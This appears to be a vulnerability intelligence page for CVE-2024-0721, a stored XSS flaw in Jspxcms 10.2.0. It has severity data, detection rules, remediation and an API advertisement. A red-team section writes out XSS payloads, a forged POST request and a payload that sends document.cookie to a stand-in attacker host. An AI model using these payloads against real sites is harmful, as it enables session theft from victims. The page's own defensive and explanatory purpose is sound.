☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 3.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-0721

CVE-2024-0721 Cross-Site Scripting in Jspxcms
📅 PUBLISHED: 2024-01-19 16:00 UTC 🔄 UPDATED: 2026-08-12 09:01 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.20%
👁️
0.20% probability
4.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1203
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: 10.2.0
CVSS VECTOR BREAKDOWN 3.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: U Scope Unchanged
C: N Confidentiality None
I: L Integrity Low
A: N Availability None
3.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-0721 is a stored cross-site scripting (XSS) vulnerability identified in Jspxcms version 10.2.0. The flaw resides in the Survey Label Handler component, allowing an attacker to inject malicious scripts via survey label manipulation. With a CVSS score of 3.5 (Low severity), the attack requires user interaction but can be launched remotely. The exploit has been publicly disclosed, increasing the risk of active exploitation. No official patch is currently available, making this a significant concern for organizations using Jspxcms.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Jspxcms is a Java-based content management system distributed as a WAR file or via source code. While not a package manager ecosystem (NPM, PyPI, Go, Ruby), the vulnerability affects the core application. Organizations should verify the integrity of their Jspxcms distribution and monitor for any unofficial patches or updates from the vendor.

CVSS Breakdown & Threat Level

  • CVSS Score: 3.5 (Low)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: Required (UI:R)
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: None (C:N)
  • Integrity Impact: Low (I:L)
  • Availability Impact: None (A:N)

The low severity reflects the need for user interaction and limited impact. However, the public availability of exploit code elevates the practical risk.

Deep Dive & Mechanics

The vulnerability exists in the Survey Label Handler of Jspxcms 10.2.0. This component processes user-supplied labels for survey questions or options. Due to insufficient input validation and output encoding, an attacker can inject arbitrary HTML or JavaScript code into the label field.

When an administrator or user views the survey (e.g., in the admin panel or a public survey page), the injected script executes in their browser context. This can lead to session hijacking, defacement, or redirection to malicious sites.

The attack flow:

  1. Attacker identifies a survey creation or editing endpoint.
  2. Attacker submits a survey label containing a malicious payload, e.g., <script>alert('XSS')</script>.
  3. The payload is stored in the database without sanitization.
  4. When a victim views the survey, the payload is rendered and executed.

Vulnerable vs. Patched Code

Since no official patch exists, the vulnerable code is presumed to be in the Survey Label Handler. A typical vulnerable pattern in Java/JSP might look like:

// Vulnerable code - directly outputs user input without encoding
String label = request.getParameter("label");
out.println("<label>" + label + "</label>");

A patched version would use proper output encoding:

// Patched code - uses HTML encoding
String label = request.getParameter("label");
String encodedLabel = StringEscapeUtils.escapeHtml4(label);
out.println("<label>" + encodedLabel + "</label>");

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Jspxcms 10.2.0 instance (e.g., Docker or local deployment)
  • Access to survey creation functionality (may require authentication)

Exploit Steps:

  1. Identify Survey Endpoint: Locate the survey creation form, typically at /survey/create or similar.

  2. Craft Payload: Use a simple XSS payload:

    <script>alert(document.cookie)</script>
    
  3. Submit Malicious Label: Intercept the request with Burp Suite or similar, and modify the label parameter:

    POST /survey/create HTTP/1.1
    Host: target.com
    ...
    label=<script>alert(document.cookie)</script>&...
    
  4. Trigger Execution: Have an administrator or user view the survey. The script executes in their browser.

Advanced Payload: For session hijacking:

<script>new Image().src='http://attacker.com/steal?cookie='+document.cookie</script>

Blue Team

Detection:

  • Monitor for unusual survey label submissions containing <script>, <img onerror>, or other HTML event handlers.
  • Use WAF rules to block common XSS patterns in survey-related parameters.

Hunting:

  • Search logs for requests to /survey/create or /survey/edit with suspicious parameters.
  • Look for outbound connections from the Jspxcms server to unknown IPs (potential data exfiltration).

Lab Setup:

  • Deploy Jspxcms 10.2.0 in a sandboxed environment.
  • Use a web application firewall (e.g., ModSecurity) to test detection rules.
  • Simulate the attack and verify alerts.

Indicators of Compromise (IOCs)

  • Network:

    • HTTP requests to /survey/create or /survey/edit with parameters containing <script> or onerror= patterns.
    • Outbound HTTP requests to unknown IPs from the Jspxcms server (potential callback).
  • Host:

    • Log entries showing survey label fields with HTML tags.
    • Unexpected JavaScript execution in browser developer tools.
  • File:

    • Modified survey data in the database containing script tags.

Detection Engineering

YARA Rule

rule CVE_2024_0721_Jspxcms_XSS {
    meta:
        description = "Detects XSS payloads targeting Jspxcms Survey Label Handler"
        author = "Valters IT"
        date = "2024-01-01"
        cve = "CVE-2024-0721"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*['\"].*?['\"]/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-0721 Jspxcms Survey Label XSS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects XSS attempts in Jspxcms survey label parameters
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/survey/'
        cs-uri-query|contains|all:
            - 'label='
            - '<script'
    condition: selection
falsepositives:
    - Legitimate use of HTML in survey labels (unlikely)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-0721 Jspxcms Survey Label XSS Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/survey/"; http_uri;
    content:"label="; http_client_body;
    pcre:"/<script[^>]*>/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable Survey Functionality: If not critical, disable the survey module in Jspxcms.
  2. Input Validation: Implement server-side validation to strip or encode HTML tags from survey labels.
  3. Output Encoding: Ensure all user-supplied data is HTML-encoded before rendering.

Long-term Fix:

  • Apply a vendor patch when available.
  • Upgrade to a patched version of Jspxcms.
  • Consider migrating to a supported CMS if no patch is released.

Compensating Controls:

  • Deploy a Web Application Firewall (WAF) with rules to block XSS patterns.
  • Use Content Security Policy (CSP) headers to mitigate script execution.
  • Restrict access to survey creation endpoints to trusted users only.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Jspxcms"
http.html:"jspxcms"
http.html:"powered by jspxcms"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-0721/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.